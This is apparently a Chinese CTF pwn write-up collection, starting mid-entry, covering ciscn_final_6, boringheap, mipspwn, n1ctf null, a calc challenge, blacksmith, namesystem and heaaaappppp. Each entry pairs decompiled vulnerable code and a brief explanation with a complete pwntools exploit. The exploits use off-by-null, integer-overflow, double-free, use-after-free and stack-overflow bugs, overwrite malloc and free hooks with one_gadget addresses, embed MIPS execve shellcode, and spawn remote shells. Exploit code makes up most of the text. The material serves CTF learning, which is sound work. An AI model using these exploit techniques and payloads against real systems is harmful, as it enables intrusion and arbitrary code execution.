int index; // [rsp+8h] [rbp-18h]
unsigned int size; // [rsp+Ch] [rbp-14h]

if ( record )
{
index = sub_F25();
if ( index >= 0 )
{
puts("any comment?");
v4 = getchar();
if ( v4 == 121 || v4 == 89 )
{
puts("comment size?");
size = read_input();
v3 = record;
v3->comment = malloc(size);
puts("plz input comment");
my_read(record->comment, size); // off-by-null
}
heap_ptr[index] = record;
record = 0LL;
return index;
}
else
{
puts("no more record");
return 0xFFFFFFFFLL;
}
}
else
{
puts("nothing to store");
return 0xFFFFFFFFLL;
}
}

漏洞是off-by-null,但是这题的堆结构比较复杂,利用堆风水,让comment这里的堆块可以被合并,然后打hook为ogg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './ciscn_final_6'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('node4.buuoj.cn', 25028)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def dbgg():
raw_input()

menu = '> '

def new_game():
r.sendlineafter(menu, '1')
r.sendlineafter("what's your name?", 'z1r0')
r.sendlineafter('input you ops count', str(0))

def load_game(index):
r.sendlineafter(menu, '2')
r.sendlineafter("index?", str(index))

def store_game(size, content):
r.sendlineafter(menu, '3')
r.sendafter('any comment?', 'Y')
r.sendlineafter('comment size?', str(size))
r.sendafter('plz input comment', content)

def delete(index):
r.sendlineafter(menu, '4')
r.sendlineafter('index?', str(index))

def show():
r.sendlineafter(menu, '5')

def resume(size = 0, content = b''):
r.sendlineafter(menu, '0')
r.sendlineafter('count\n', str(size))
if size > 0:
r.sendafter('ops: ', content)

dbgg()

new_game()
store_game(0x420, 'a\n')

new_game()
store_game(0x38, 'a\n')

delete(1)

new_game()
store_game(0x4f0, 'a\n')

new_game()
p1 = b'a' * 0x30 + p64(0x4c0)
store_game(0x38, p1)

delete(0)
delete(1)

new_game()
resume(0x420, 'deadbeef')

r.sendlineafter(menu, '0')
r.recvuntil('X:')
l = int(r.recvuntil(',', drop = True)) & 0xffffffff
r.recvuntil('Y:')
h = int(r.recvuntil(';', drop = True)) & 0xffffffff
li('l = ' + hex(l))
li('h = ' + hex(h))

leak_addr = (h << 32) + l
li('leak_addr = ' + hex(leak_addr))

malloc_hook = leak_addr - 96 - 0x10
libc = ELF('./2.27/libc-2.27.so')
libc_base = malloc_hook - libc.sym['__malloc_hook']
li('libc_base = ' + hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
one = [0x4f2c5, 0x4f322, 0x10a38c]
one_gadget = one[1] + libc_base

r.sendlineafter('count\n', '0')

delete(2)

p1 = b'a' * 0x420 + p64(0) + p64(0x31) + b'a' * (0x20) + p64(0) + p64(0x21) + b'a' * 0x10 + p64(0) + p64(0x41) + p64(free_hook) + b'\n'
store_game(0x470 + 0x30, p1)

new_game()
store_game(0x30, 'aaa\n')
new_game()
store_game(0x30, p64(one_gadget) + b'\n')

delete(0)

r.interactive()

shanghai2019_boringheap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
unsigned __int64 __fastcall edit(__int64 a1, __int64 a2)
{
int index; // [rsp+0h] [rbp-10h]
int size; // [rsp+4h] [rbp-Ch]
unsigned __int64 v5; // [rsp+8h] [rbp-8h]

v5 = __readfsqword(0x28u);
puts("Which one do you want to update?");
index = (int)abs32(sub_B40("Which one do you want to update?", a2)) % 30;
if ( heap_ptr[index] && (dword_202040[index] == 32 || dword_202040[index] == 48 || dword_202040[index] == 64) )
{
puts("Where you want to update?");
size = (int)abs32(sub_B40("Where you want to update?", a2)) % dword_202040[index];
puts("Input Content:");
sub_AAB((char *)heap_ptr[index] + size, (unsigned int)(dword_202040[index] - size));
}
else
{
puts("Invalid Index!");
}
return __readfsqword(0x28u) ^ v5;
}

这里abs32溢出了,如果是0x80000000的话就是负数,如果此时%48,则会变成-32,所以可以edit修改自己chunk的头,并且可以溢出到fd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('node4.buuoj.cn', 27592)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def dbgg():
raw_input()

menu = '5.Exit\n'

def add(size, content):
r.sendlineafter(menu, '1')
r.sendlineafter('3.Large\n', str(size))
r.sendafter('Input Content:', content)

def show(index):
r.sendlineafter(menu, '4')
r.sendlineafter('Which one do you want to view?', str(index))

def delete(index):
r.sendlineafter(menu, '3')
r.sendlineafter('Which one do you want to delete?', str(index))

def edit(index, offset, content):
r.sendlineafter(menu, '2')
r.sendlineafter('Which one do you want to update?', str(index))
r.sendlineafter('Where you want to update?', str(offset))
r.sendafter('Input Content:', content)

dbgg()

add(1, 'a\n')
add(2, 'a' * 8 + '\n')

for i in range(0x11):
add(2, 'a\n')

p1 = b'a' * 0x10 + p64(0) + p64(0x441) + b'\n'
edit(1, 0x80000000, p1)

delete(1)

add(2, 'a\n')

show(2)

malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10
li('malloc_hook = ' + hex(malloc_hook))

libc = ELF('./2.27/libc-2.27.so')
libc_base = malloc_hook - libc.sym['__malloc_hook']
li('libc_base = ' + hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
li('free_hook = ' + hex(free_hook))

one = [0x4f2c5, 0x4f322, 0x10a38c]
one_gadget = one[1] + libc_base

add(2, 'a\n')

delete(2)
edit(20, 0, p64(free_hook) + b'\n')

add(2, 'a\n')
add(2, p64(one_gadget) + b'\n')

delete(8)

r.interactive()

ycb_2020_mipspwn

一个栈溢出

1
2
3
4
5
6
ssize_t vul()
{
char v1[56]; // [sp+18h] [+18h] BYREF

return read(0, v1, 0xB0u);
}

可以写shellcode,但是需要栈迁移

1
2
3
4
5
6
7
.text:00400F50 B0 00 06 24                   li      $a2, 0xB0                        # nbytes
.text:00400F54 18 00 C2 27 addiu $v0, $fp, 0x50+var_38
.text:00400F58 25 28 40 00 move $a1, $v0 # buf
.text:00400F5C 25 20 00 00 move $a0, $zero # fd
.text:00400F60 5C 80 82 8F la $v0, read
.text:00400F64 25 C8 40 00 move $t9, $v0
.text:00400F68 09 F8 20 03 jalr $t9 ; read

利用这个汇编继续读shellcode到固定地址上,然后跳转执行即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *

context(arch='mips', os='linux', log_level='debug')

file_name = './pwn2'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('node4.buuoj.cn', 27878)
else:
#r = process(['qemu-mipsel-static', '-L', '.', file_name])
r = process(['qemu-mipsel-static', '-L', '.', '-g', '1234', file_name])

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def dbgg():
raw_input()

menu = 'Your choice: '

dbgg()
r.sendlineafter('Warrior,leave your name here:\n', 'z1r0')

r.sendlineafter(menu, '7')

p1 = b'a' * (60 - 4) + p32(0x41164C + 0x50) + p32(0x400F50)
r.sendlineafter('Write down your feeling:\n', p1)

shellcode = b'\x11\x01\x06\x24\xff\xff\xd0\x04\x00\x00\x06\x24\xe0\xff\xbd\x27\x14\x00\xe4\x27\x00\x00\x05\x24\xab\x0f\x02\x24\x0c\x00\x00\x00/bin/sh'

p2 = b'a' * 0x3c + p32(0x41164c + 0x50 + 0x58) + shellcode
r.send(p2)

r.interactive()

n1ctf2018_null

这题属实是没有做出来,看了一下wp才知道昨做

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
size_t __fastcall sub_400BCA(char *ptr, size_t size)
{
size_t result; // rax
int len; // [rsp+1Ch] [rbp-14h]
size_t i; // [rsp+20h] [rbp-10h]

for ( i = 0LL; ; i += len )
{
result = i;
if ( i >= size )
break;
len = read(0, &ptr[i], size);
if ( len <= 0 )
{
write(1, "I/O error\n", 0xAuLL);
my_exit(1u);
}
}
return result;
}

漏洞点如上,二次read的时候size不变,此时可以堆溢出,但是堆在heap的下面,libc的上面

这个时候有一个叫thread_arena的东西,如果可以覆盖thread_arena这个地方就可以实现任意地址写,但是thread_arena在malloc之后read输入数据的上面,所以需要利用sysmalloc把空间消耗掉,此时thread_arena又会申请出来,在另一个mmap的空间中,而且,我们可以通过最后一个消耗输入的数据实现堆溢出,打新申请出的thread_arena的结构,然后把system给放到bss的指针上,这个时候再add时候就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './null'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('node4.buuoj.cn', 26834)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def dbgg():
raw_input()

menu = 'Action: '

def add(size, blocks, content = ''):
r.sendlineafter(menu, '1')
r.sendlineafter('Size: ', str(size))
r.sendlineafter('Pad blocks: ', str(blocks))
if content:
r.sendlineafter('Content? (0/1): ', '1')
r.sendafter('Input: ', content)
else:
r.sendlineafter('Content? (0/1): ', '0')

dbgg()

r.sendlineafter('Enter secret password: ', "i'm ready for challenge")

for i in range(12):
add(0x4000, 1000)

add(0x4000, 262, 'a' * 0x3FF0)
p1 = b'a' * 0x50 + p32(0) + p32(3) + p64(0x60201d) * 0x10
r.send(p1)

system_plt = elf.plt['system']
p2 = b'/bin/sh\x00'.ljust(0xb, b'\x00') + p64(system_plt)
p2 = p2.ljust(0x60, b'a')
add(0x60, 0, p2)

r.interactive()

hitcon_2018_hackergame_2018_calc

1
2
3
4
5
6
7
8
9
unsigned int _init()
{
signal(4, (__sighandler_t)_err);
signal(6, (__sighandler_t)_err);
signal(8, (__sighandler_t)_err);
signal(11, (__sighandler_t)_err);
signal(14, (__sighandler_t)&exit);
return alarm(5u);
}

注册了异常处理

1
2
3
4
5
6
7
8
9
10
11
12
void __noreturn _err()
{
char haystack[11]; // [rsp+15h] [rbp-Bh] BYREF

puts("Program crashed! You can run a program to examine:");
__isoc99_scanf("%10s", haystack);
if ( strstr(haystack, "sh") )
puts("command not allowed!");
else
execlp(haystack, haystack, 0LL);
exit(-1);
}

如果发生了异常处理,就可以执行一个命令,下面的个/,但是减去了除0数学错误

1
2
3
4
5
6
7
8
9
if ( v3 == 47 )
{
if ( v4 )
{
v6 = (int)v5 / (int)v4;
goto LABEL_18;
}
puts("Division by zero!");
}

程序主体是运算,而-0x80000000/-1也可以触发异常,然后可以执行一个命令,但是不能包含sh,所以这里用vim开sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './HITCON_2018_Hackergame_2018_calc'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('node4.buuoj.cn', 28919)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def dbgg():
raw_input()

r.sendlineafter('>>> ', '-2147483648/-1')
r.sendline('vim')
r.sendline(':!sh')

r.interactive()

metasequoia_2020_blacksmith

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __fastcall add(const char *a1)
{
size_t size; // [rsp+8h] [rbp-48h] BYREF
char buf[64]; // [rsp+10h] [rbp-40h] BYREF

size = 0LL;
puts("Forging...");
puts("What's the size of this sword's name?");
__isoc99_scanf("%d", &size);
if ( (int)size > 63 )
return puts("The name is too long!");
puts("And the name is?");
read(0, buf, size);
return puts("Here you are, the new sword!\n");
}

整形溢出,打ret到后门即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './metasequoia_2020_blacksmith'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('node4.buuoj.cn', 29279)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def dbgg():
raw_input()

menu = 'Your choice > '

def add(size, content):
r.sendlineafter(menu, '1')
r.sendlineafter("What's the size of this sword's name?", str(size))
r.sendafter('And the name is?', content)

bd = 0x04007D6
p1 = b'a' * (0x40 + 8) + p64(bd)
add(-1, p1)

r.interactive()

huxiangbei_2019_namesystem

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void __fastcall show()
{
unsigned int index; // [rsp+Ch] [rbp-4h]

printf("The id you want to delete:");
index = read_input();
if ( index <= 0x13 && heap_ptr[index] )
{
free(heap_ptr[index]);
heap_ptr[index] = 0LL;
while ( (index + 1) <= 19 )
{
heap_ptr[index] = heap_ptr[index + 1];
++index;
}
puts("Done!");
}
else
{
puts("Invalid id !!");
}
}

当index为18时,19不会被覆盖,可以double free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './huxiangbei_2019_namesystem'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('node4.buuoj.cn', 29398)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def dbgg():
raw_input()

menu = b'Your choice :\n'

def add(size, name):
r.sendlineafter(menu, b'1')
r.sendlineafter(b'Name Size:', str(size))
r.sendafter(b'Name:', name)

def delete(index):
r.sendlineafter(menu, b'3')
r.sendlineafter(b'The id you want to delete:', str(index))


dbgg()

for i in range(17):
add(0x10, 'a' * 0x10)

add(0x50, 'b' * 0x50)
add(0x60, 'c' * 0x60)
add(0x50, 'b' * 0x50)

delete(18)

delete(19) #19
delete(17)
delete(17)

add(0x60, 'a'*0x60) #17
add(0x60, 'b'*0x60) #18
add(0x60, 'c'*0x60) #19

delete(18)
delete(19)
delete(17)
delete(17)

fake = 0x601ffa
#add(0x50, p64(fake))

for i in range(9):
delete(i)

add(0x50, p64(fake) + b'\n')
add(0x50, 'a' * 0x50)
add(0x50, 'a' * 0x50)

printf_plt = elf.plt['printf']

p1 = b'\x00' * 0xE + p64(printf_plt)[0:6] + b'\n'
add(0x50, p1)

add(0x20, '%13$p\n')
delete(12)

r.recvuntil('0x')
leak_addr = int(r.recv(12), 16) - 240
li('leak_addr = ' + hex(leak_addr))
libc = ELF('./libc-2.23.so')
libc_base = leak_addr - libc.sym['__libc_start_main']
li('libc_base = ' + hex(libc_base))
one = [0x45226, 0x4526a, 0xf03a4, 0xf1247, 0xcd173, 0xcd248, 0xf03a4, 0xf03b0, 0xf67f0]
one_gadget = libc_base + one[1]
malloc_hook = libc_base + libc.sym['__malloc_hook']

add(0x60, p64(malloc_hook - 0x23) + b'\n')
add(0x60, b'a' * 0x60)
add(0x60, b'a' * 0x60)
realloc_addr = libc_base + libc.sym['realloc']

p2 = b'\x00' * 0xb + p64(one_gadget) + p64(realloc_addr + 0x10)+ b'\n'
add(0x60, p2)

r.sendlineafter('Your choice :','1')
r.sendlineafter('Name Size:','50')

r.interactive()

rootersctf_2019_heaaaappppp

1
2
3
4
5
6
void deleteUser()
{
if ( !heap_ptr )
bye();
free(heap_ptr); // uaf
}
1
2
3
4
5
6
7
8
9
10
11
12
13
void __fastcall sendMessage()
{
char buf[136]; // [rsp+0h] [rbp-90h] BYREF
unsigned __int64 v1; // [rsp+88h] [rbp-8h]

v1 = __readfsqword(0x28u);
puts("Enter message to be sent: ");
read(0, buf, 0x7FuLL);
puts("Message recieved: ");
puts(buf);
puts("\nSaving it for admin to see!\n");
message = (__int64)strdup(buf);
}

uaf,可以通过sendMessage来leak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './rootersctf_2019_heaaaappppp'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('node4.buuoj.cn', 29737)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def dbgg():
raw_input()

menu = b'Enter your choice: '

def add(payload):
r.sendlineafter(menu, '0')
r.sendlineafter("user: ",'0')
r.sendafter("username: ",payload)

def edit(payload):
r.sendlineafter(menu,'1')
r.sendlineafter("user: ",'0')
r.sendafter("username: ",payload)

def delete():
r.sendlineafter(menu,'2')

def sendMessage(payload):
r.sendlineafter(menu,'3')
r.sendafter("sent: \n",payload)

r.sendlineafter(menu, '3')
r.sendafter('Enter message to be sent: ', b'a' * 0x68)
leak_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
li('leak_addr = ' + hex(leak_addr))
libc = ELF('./2.27/libc-2.27.so')
libc_base = leak_addr - libc.sym['puts'] - 418
li('libc_base = ' + hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
one = [0x4f2c5, 0x4f322, 0x10a38c]
one_gadget = libc_base + one[1]

add('a')
delete()
delete()
sendMessage(p64(free_hook))
add(p64(one_gadget))
sendMessage(p64(one_gadget))
delete()

r.interactive()